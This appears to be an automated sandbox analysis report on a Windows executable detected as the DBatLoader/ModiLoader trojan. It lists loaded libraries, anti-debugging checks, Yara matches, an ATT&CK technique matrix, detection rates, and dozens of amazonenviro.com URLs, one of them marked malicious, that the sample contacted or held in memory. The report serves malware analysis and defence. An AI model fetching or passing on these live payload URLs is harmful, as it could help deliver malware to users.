Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: JDQS879kiy.exe

Static file information: File size 1161216 > 1048576

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.JDQS879kiy.exe.23565a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JDQS879kiy.exe.2840000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JDQS879kiy.exe.23565a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2622490407.0000000002356000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2636506576.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_02858798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02858798

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_028432FC push eax; ret	0_2_02843338
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0286D2FC push 0286D367h; ret	0_2_0286D35F
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0284635C push 028463B7h; ret	0_2_028463AF
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0284635A push 028463B7h; ret	0_2_028463AF
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0286D0AC push 0286D125h; ret	0_2_0286D11D
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0286D1F8 push 0286D288h; ret	0_2_0286D280
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0286D144 push 0286D1ECh; ret	0_2_0286D1E4
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_028586B8 push 028586FAh; ret	0_2_028586F2
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02846736 push 0284677Ah; ret	0_2_02846772
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02846738 push 0284677Ah; ret	0_2_02846772
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0284C4EC push ecx; mov dword ptr [esp], edx	0_2_0284C4F1
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0284D520 push 0284D54Ch; ret	0_2_0284D544
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0284CB6C push 0284CCF2h; ret	0_2_0284CCEA
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285788C push 02857909h; ret	0_2_02857901
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_028568C6 push 02856973h; ret	0_2_0285696B
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_028568C8 push 02856973h; ret	0_2_0285696B
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285E9E8 push ecx; mov dword ptr [esp], edx	0_2_0285E9ED
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285890E push 02858948h; ret	0_2_02858940
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285A917 push 0285A950h; ret	0_2_0285A948
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02858910 push 02858948h; ret	0_2_02858940
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285A918 push 0285A950h; ret	0_2_0285A948
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0284C967 push 0284CCF2h; ret	0_2_0284CCEA
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02852EE0 push 02852F56h; ret	0_2_02852F4E
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0286BFA0 push 0286C1C8h; ret	0_2_0286C1C0
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02852FEC push 02853039h; ret	0_2_02853031
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02852FEB push 02853039h; ret	0_2_02853031
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02855DFC push ecx; mov dword ptr [esp], edx	0_2_02855DFE

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_0285A954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0285A954

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_028458B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028458B4

Source: JDQS879kiy.exe, 00000000.00000003.2200826171.00000000005A6000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\JDQS879kiy.exe

API call chain: ExitProcess graph end node

graph_0-25837

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_0285F024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_0285F024

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_02858798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02858798

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02845A78
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: GetLocaleInfoA,	0_2_0284A790
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: GetLocaleInfoA,	0_2_0284A744
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02845B84

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_0284918C GetLocalTime,

0_2_0284918C

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_0284B70C GetVersionExA,

0_2_0284B70C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Access Token Manipulation	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Connections Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JDQS879kiy.exe	79%	Virustotal		Browse
JDQS879kiy.exe	68%	ReversingLabs	Win32.Trojan.ModiLoader

Source	Detection	Scanner	Label
https://amazonenviro.com/245_Nsltarpnconb	0%	Avira URL Cloud	safe
https://amazonenviro.com/0X_6	0%	Avira URL Cloud	safe
https://amazonenviro.com/Qu	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncona	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon$	0%	Avira URL Cloud	safe
https://amazonenviro.com/F	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconU	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconnR	0%	Avira URL Cloud	safe
https://amazonenviro.com/	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconh	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon	0%	Avira URL Cloud	safe
https://amazonenviro.com/6	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_NsltarpnconS	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon2	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconzR~	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpnconr	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncont	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon(u	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon5	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon1	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon$	0%	Avira URL Cloud	safe
https://amazonenviro.com/&	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon&	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon0	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconru	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_NsltarpncontDs	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconRS	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon6r	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconrTw	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconYu	0%	Avira URL Cloud	safe
https://amazonenviro.com/V	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon9	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon4	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconax	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
amazonenviro.com	166.62.27.188	true	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://amazonenviro.com/245_Nsltarpncon	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://amazonenviro.com/245_NsltarpnconU	JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/0X_6	JDQS879kiy.exe, 00000000.00000003.2491979237.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1607710689.0000000000609000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200133806.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000002.2621413099.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/Qu	JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/F	JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconb	JDQS879kiy.exe, 00000000.00000003.2199981648.000000000062E000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2217070241.000000000062E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconnR	JDQS879kiy.exe, 00000000.00000003.2200133806.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon$	JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncona	JDQS879kiy.exe, 00000000.00000003.1810514593.000000000062A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconh	JDQS879kiy.exe, 00000000.00000003.2199981648.000000000062E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/	JDQS879kiy.exe, 00000000.00000002.2621413099.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2216997321.0000000000640000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000002.2621413099.000000000055E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon	JDQS879kiy.exe, 00000000.00000002.2621413099.000000000055E000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/6	JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_NsltarpnconS	JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon2	JDQS879kiy.exe, 00000000.00000003.1493484348.0000000000614000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconzR~	JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncont	JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpnconr	JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon5	JDQS879kiy.exe, 00000000.00000003.2199981648.000000000062E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon1	JDQS879kiy.exe, 00000000.00000003.1810514593.000000000062A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon(u	JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200133806.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/&	JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/f	JDQS879kiy.exe, 00000000.00000002.2621413099.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com:443/245_Nsltarpncon$	JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon0	JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2217070241.000000000062E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon&	JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_NsltarpncontDs	JDQS879kiy.exe, 00000000.00000002.2621413099.000000000055E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconru	JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconRS	JDQS879kiy.exe, 00000000.00000003.1607710689.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconH	JDQS879kiy.exe, 00000000.00000003.2200826171.00000000005A6000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com/245_NsltarpnconrTw	JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon6r	JDQS879kiy.exe, 00000000.00000003.1607710689.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconYu	JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon9	JDQS879kiy.exe, 00000000.00000003.1810514593.000000000062A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/V	JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon4	JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
